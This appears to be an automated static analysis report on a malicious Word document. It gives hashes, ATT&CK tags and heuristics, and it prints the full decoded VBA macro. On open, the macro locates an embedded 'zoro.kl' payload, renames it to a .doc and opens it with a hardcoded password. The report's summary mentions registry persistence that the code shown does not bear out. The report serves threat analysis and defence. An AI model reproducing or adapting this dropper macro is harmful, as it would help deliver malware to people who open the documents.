Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b08cc6acfb9db365…

MALICIOUS

Office (OLE)

857.5 KB Created: 2021-10-05 13:50:00 Authoring application: Microsoft Office Word First seen: 2021-10-12
MD5: a4d050a905c578649b152b9984c2a209 SHA-1: de6ae30d5d354e586c249c676eefe4857623d4f8 SHA-256: b08cc6acfb9db365ac3496f8a2e5484bf78ab9ee70932830016cb1188b90b2f5
72 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro that executes upon opening. This macro searches for a file named 'zoro.kl' and attempts to execute it, potentially downloading a second-stage payload. The macro also contains a hardcoded password 'doyouknowthatthegodsofde' for opening a document, and appears to attempt persistence via a registry key. The specific family is not identifiable from the provided evidence.

Heuristics 5

  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/2006/encryption In document text (OLE body)
    • http://schemas.microsoft.com/office/2006/keyEncryptor/passwordIn document text (OLE body)
    • http://schemas.microsoft.com/office/2006/keyEncryptor/certificateIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3750 bytes
SHA-256: 4b4d165f838373d82956ea57a25034d84ac153ba8b2074181d6c5a1be9fa8daf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
  
     
     Dim lds As String
        Dim vssfs As String
Private Sub Document_Open()
Dim dfgdgdg
Call s1("L")

Dim fds, fdsa As String
fds = "\"
 fdsa = ".d"
Call s2("ocal/")
Call ass
Call acc
Dim kytrewwf As String
kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)
fds = kytrewwf & fds
If Dir(fds & "zoro" & fdsa & vssfs) = "" Then
Dim mySum
mySum = Application.Run("ppl")

If Len(lds) > 2 Then


Call nam(lds, kytrewwf)
Call pppx(fds & "zoro" & fdsa & vssfs)




End If
End If
End Sub
Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object

    Dim Ters As Object


For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc

   For Each Ters In mds.Files
   
   If Ters.Name = "zoro.kl" Then
     
        lds = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub


Sub ass()
vssfs = "o"

End Sub
Sub acc()
vssfs = vssfs & "c"
End Sub

Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), lds)

End Sub




Attribute VB_Name = "Module1"


Sub pppx(pili As String)

    Documents.Open FileName:=pili, ConfirmConversions:=False, ReadOnly:= _
        False, AddToRecentFiles:=False, PasswordDocument:="doyouknowthatthegodsofdeathonlyeatapples?", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub




Attribute VB_Name = "Module3"

Sub bvxfcsd(tini As String)

 Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2

    Selection.TypeBackspace

Selection.Copy
Dim uuuuc
uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)

    ntgs = 50
sda = 49


While sda < 50
      ntgs = ntgs - 1
  
      If Dir(Left(uuuuc, ntgs) & tini, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   
   Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & tini)
End Sub








Attribute VB_Name = "Module123345"
Dim pls As String


 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object

    Dim Ters As Object


For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc

   For Each Ters In mds.Files
   
   If Ters.Name = "zoro.kl" Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub




Sub nam(pafs As String, aaaa As String)
Call ousx(aaaa)


Dim oxl
oxl = "\zoro.d"
oxl = oxl & "o"
oxl = oxl & "c"
Name pafs As pls & oxl
End Sub

Sub uoia(fffs As String)
pls = fffs
End Sub

Sub ousx(aaaa As String)
Call uoia(aaaa)
End Sub










Attribute VB_Name = "Module2"
Dim mgf, uhjknb, wers, qweds, fafaa As String
Dim ocm As String

Sub s1(vi As String)
mgf = vi
End Sub
Sub s2(vi As String)
uhjknb = vi
End Sub
Sub s3(vi As String)
wers = vi
End Sub


Sub ppl()
wers = "T"
wers = wers & "e"
Dim poidds As String
qweds = "m"
qweds = qweds & "p"

poidds = mgf & uhjknb & "" & wers & qweds

Call bvxfcsd(poidds)
End Sub
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1694918961/Ole10Native 238886 bytes
SHA-256: 2d00befb3e7c6aa3ff7ad34b4eeef23517e793cfd7f765501619ad77505abeae
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.97, consistent with packed or encrypted content.
ole10native_00_zoro.kl ole-package-payload OLE Ole10Native payload: ObjectPool/_1694918961/Ole10Native; display_name=zoro.kl; full_path=C:\Users\MyPc\AppData\Local\Temp\zoro.kl; temp_path=; def_file= 238592 bytes
SHA-256: 2a676d90c92c2afa66e8cdd5fabbb547d5b8a8fad94dea66b81a06e661dc195b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.97, consistent with packed or encrypted content.